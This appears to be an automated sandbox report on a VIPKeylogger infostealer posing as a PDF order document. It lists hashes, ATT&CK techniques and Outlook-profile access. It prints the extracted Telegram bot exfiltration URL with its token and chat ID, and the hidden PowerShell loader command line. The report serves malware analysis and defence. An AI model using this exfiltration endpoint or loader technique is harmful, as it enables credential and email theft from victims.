vipkeylogger | 87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec

Analysis

max time kernel
147s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-11-2024 09:41

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General

Target

Order requirements CIF Greece_pdf.exe
Size

813KB
MD5

998e394361bd54c58a1ad2092fca8b6c
SHA1

c68e7856324a50c04ee5e1de46952ecaed47eff7
SHA256

87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec
SHA512

bb7af9d97e4fed96e000048828826f715fa3f229058326da25cf535629e567389b6129e72b6ef214937f0429d74d35598a7f440af6221ecc56ddeea86f9733b1
SSDEEP

12288:a7CBVenOxJUbx7lU0hbB6y3bn6vlP9Ia8GIbPYkAdwvLRPC6Oe73MFce:6G+OxmF7mSB6yrnMIacPYkAevLRPJyF

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

https://api.telegram.org/bot8065526741:AAEj68BwW3BsUStAxrPkDSB2kLxwQ3yik84/sendMessage?chat_id=6897585916

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2796 powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

msiexec.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

Processes:

msiexec.exe

flow	pid	process
22	3888	msiexec.exe
24	3888	msiexec.exe
26	3888	msiexec.exe
28	3888	msiexec.exe
30	3888	msiexec.exe
35	3888	msiexec.exe
37	3888	msiexec.exe
43	3888	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

21 drive.google.com
22 drive.google.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

34 checkip.dyndns.org
Drops file in System32 directory 1 IoCs

Processes:

Order requirements CIF Greece_pdf.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\narrowness.ini Order requirements CIF Greece_pdf.exe
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid process

3888 msiexec.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid process

2796 powershell.exe
3888 msiexec.exe

flow	ioc
21	drive.google.com
22	drive.google.com

flow	ioc
34	checkip.dyndns.org

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\narrowness.ini	Order requirements CIF Greece_pdf.exe

pid	process
3888	msiexec.exe

Drops file in Windows directory 2 IoCs

Processes:

Order requirements CIF Greece_pdf.exe

description	ioc	process
File opened for modification	C:\Windows\resources\0409\mutases.fin	Order requirements CIF Greece_pdf.exe
File opened for modification	C:\Windows\resources\energiudfoldelsers.Uku	Order requirements CIF Greece_pdf.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

Order requirements CIF Greece_pdf.exepowershell.exemsiexec.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Order requirements CIF Greece_pdf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exemsiexec.exe

pid	process
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
3888	msiexec.exe
3888	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2796 powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

Processes:

powershell.exemsiexec.exe

description	pid	process
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeIncreaseQuotaPrivilege	2796	powershell.exe
Token: SeSecurityPrivilege	2796	powershell.exe
Token: SeTakeOwnershipPrivilege	2796	powershell.exe
Token: SeLoadDriverPrivilege	2796	powershell.exe
Token: SeSystemProfilePrivilege	2796	powershell.exe
Token: SeSystemtimePrivilege	2796	powershell.exe
Token: SeProfSingleProcessPrivilege	2796	powershell.exe
Token: SeIncBasePriorityPrivilege	2796	powershell.exe
Token: SeCreatePagefilePrivilege	2796	powershell.exe
Token: SeBackupPrivilege	2796	powershell.exe
Token: SeRestorePrivilege	2796	powershell.exe
Token: SeShutdownPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeSystemEnvironmentPrivilege	2796	powershell.exe
Token: SeRemoteShutdownPrivilege	2796	powershell.exe
Token: SeUndockPrivilege	2796	powershell.exe
Token: SeManageVolumePrivilege	2796	powershell.exe
Token: 33	2796	powershell.exe
Token: 34	2796	powershell.exe
Token: 35	2796	powershell.exe
Token: 36	2796	powershell.exe
Token: SeDebugPrivilege	3888	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

Order requirements CIF Greece_pdf.exepowershell.exe

description	pid	process	target process
PID 4864 wrote to memory of 2796	4864	Order requirements CIF Greece_pdf.exe	powershell.exe
PID 4864 wrote to memory of 2796	4864	Order requirements CIF Greece_pdf.exe	powershell.exe
PID 4864 wrote to memory of 2796	4864	Order requirements CIF Greece_pdf.exe	powershell.exe
PID 2796 wrote to memory of 3888	2796	powershell.exe	msiexec.exe
PID 2796 wrote to memory of 3888	2796	powershell.exe	msiexec.exe
PID 2796 wrote to memory of 3888	2796	powershell.exe	msiexec.exe
PID 2796 wrote to memory of 3888	2796	powershell.exe	msiexec.exe

outlook_office_path 1 IoCs

Processes:

msiexec.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

Processes:

msiexec.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\Order requirements CIF Greece_pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Order requirements CIF Greece_pdf.exe"
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4864
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Barthianismens=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\skittaget\lektier\Familieskabet.Sch';$Architectures=$Barthianismens.SubString(9447,3);.$Architectures($Barthianismens) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:3888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fnc4tmqd.ech.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\skittaget\lektier\Familieskabet.Sch

Filesize
71KB

MD5
8149653bd363ed6762847796373192c1

SHA1
df385979c55013616b642bec5415ee1b89929319

SHA256
9296b59074488ea1a87189a1412aa652d7966a44ce2f9a297109227a953efd24

SHA512
a7f7937acea516c9420b3ef4c448fcec2c52956bb2b1705da0221e32df5eb59016784018bf23e6382491f63ccff23aae28ce8f84003bc4813bc7812dfd3df814

Download Submit
C:\Users\Admin\AppData\Roaming\skittaget\lektier\Sitka.Afg

Filesize
326KB

MD5
bf36880f0e8cff63a4a0a6d2e2af1107

SHA1
fcf08c335ed6bb98280cc47cbc4d6ae6bb0ffa32

SHA256
bfce8c5feaab8ce81970225d42bd77b3f919fa422ec4f7d66be0f7ff8cf29b08

SHA512
17aab56822fd6895209d4b474d34a78bf18faa8642d7c012e12f9f87e23d520495b5349605dedcce9092a368739b51195813bd652ec56a66a894734f57464479

Download Submit
memory/2796-49-0x0000000074F80000-0x0000000075730000-memory.dmp

Filesize
7.7MB

Download
memory/2796-62-0x0000000074F80000-0x0000000075730000-memory.dmp

Filesize
7.7MB

Download
memory/2796-13-0x0000000074F80000-0x0000000075730000-memory.dmp

Filesize
7.7MB

Download
memory/2796-50-0x0000000007170000-0x000000000717A000-memory.dmp

Filesize
40KB

Download
memory/2796-11-0x0000000074F80000-0x0000000075730000-memory.dmp

Filesize
7.7MB

Download
memory/2796-14-0x0000000005500000-0x0000000005566000-memory.dmp

Filesize
408KB

Download
memory/2796-25-0x00000000055E0000-0x0000000005934000-memory.dmp

Filesize
3.3MB

Download
memory/2796-26-0x0000000005BD0000-0x0000000005BEE000-memory.dmp

Filesize
120KB

Download
memory/2796-27-0x0000000005CA0000-0x0000000005CEC000-memory.dmp

Filesize
304KB

Download
memory/2796-28-0x0000000006B40000-0x0000000006BD6000-memory.dmp

Filesize
600KB

Download
memory/2796-30-0x0000000006130000-0x0000000006152000-memory.dmp

Filesize
136KB

Download
memory/2796-29-0x00000000060E0000-0x00000000060FA000-memory.dmp

Filesize
104KB

Download
memory/2796-31-0x0000000007210000-0x00000000077B4000-memory.dmp

Filesize
5.6MB

Download
memory/2796-10-0x0000000004CB0000-0x00000000052D8000-memory.dmp

Filesize
6.2MB

Download
memory/2796-33-0x0000000007E40000-0x00000000084BA000-memory.dmp

Filesize
6.5MB

Download
memory/2796-35-0x0000000070DA0000-0x0000000070DEC000-memory.dmp

Filesize
304KB

Download
memory/2796-34-0x0000000007000000-0x0000000007032000-memory.dmp

Filesize
200KB

Download
memory/2796-52-0x00000000071E0000-0x0000000007204000-memory.dmp

Filesize
144KB

Download
memory/2796-36-0x0000000074F80000-0x0000000075730000-memory.dmp

Filesize
7.7MB

Download
memory/2796-47-0x0000000006FE0000-0x0000000006FFE000-memory.dmp

Filesize
120KB

Download
memory/2796-48-0x0000000007050000-0x00000000070F3000-memory.dmp

Filesize
652KB

Download
memory/2796-8-0x0000000074F8E000-0x0000000074F8F000-memory.dmp

Filesize
4KB

Download
memory/2796-15-0x0000000005570000-0x00000000055D6000-memory.dmp

Filesize
408KB

Download
memory/2796-51-0x00000000071B0000-0x00000000071DA000-memory.dmp

Filesize
168KB

Download
memory/2796-37-0x00000000714C0000-0x0000000071814000-memory.dmp

Filesize
3.3MB

Download
memory/2796-53-0x0000000074F80000-0x0000000075730000-memory.dmp

Filesize
7.7MB

Download
memory/2796-55-0x0000000074F80000-0x0000000075730000-memory.dmp

Filesize
7.7MB

Download
memory/2796-56-0x0000000074F80000-0x0000000075730000-memory.dmp

Filesize
7.7MB

Download
memory/2796-54-0x0000000074F8E000-0x0000000074F8F000-memory.dmp

Filesize
4KB

Download
memory/2796-9-0x0000000004610000-0x0000000004646000-memory.dmp

Filesize
216KB

Download
memory/2796-58-0x0000000074F80000-0x0000000075730000-memory.dmp

Filesize
7.7MB

Download
memory/2796-60-0x0000000074F80000-0x0000000075730000-memory.dmp

Filesize
7.7MB

Download
memory/2796-59-0x00000000084C0000-0x0000000009C20000-memory.dmp

Filesize
23.4MB

Download
memory/2796-61-0x0000000074F80000-0x0000000075730000-memory.dmp

Filesize
7.7MB

Download
memory/2796-12-0x0000000004BF0000-0x0000000004C12000-memory.dmp

Filesize
136KB

Download
memory/2796-64-0x0000000074F80000-0x0000000075730000-memory.dmp

Filesize
7.7MB

Download
memory/2796-65-0x0000000074F80000-0x0000000075730000-memory.dmp

Filesize
7.7MB

Download
memory/3888-79-0x0000000000AF0000-0x0000000000B3A000-memory.dmp

Filesize
296KB

Download
memory/3888-78-0x0000000000AF0000-0x0000000001D44000-memory.dmp

Filesize
18.3MB

Download
memory/3888-80-0x0000000021550000-0x00000000215EC000-memory.dmp

Filesize
624KB

Download
memory/3888-82-0x0000000021990000-0x0000000021A22000-memory.dmp

Filesize
584KB

Download
memory/3888-83-0x0000000022280000-0x0000000022442000-memory.dmp

Filesize
1.8MB

Download
memory/3888-84-0x0000000021A30000-0x0000000021A80000-memory.dmp

Filesize
320KB

Download
memory/3888-85-0x0000000022980000-0x0000000022EAC000-memory.dmp

Filesize
5.2MB

Download
memory/3888-87-0x00000000220F0000-0x00000000220FA000-memory.dmp

Filesize
40KB

Download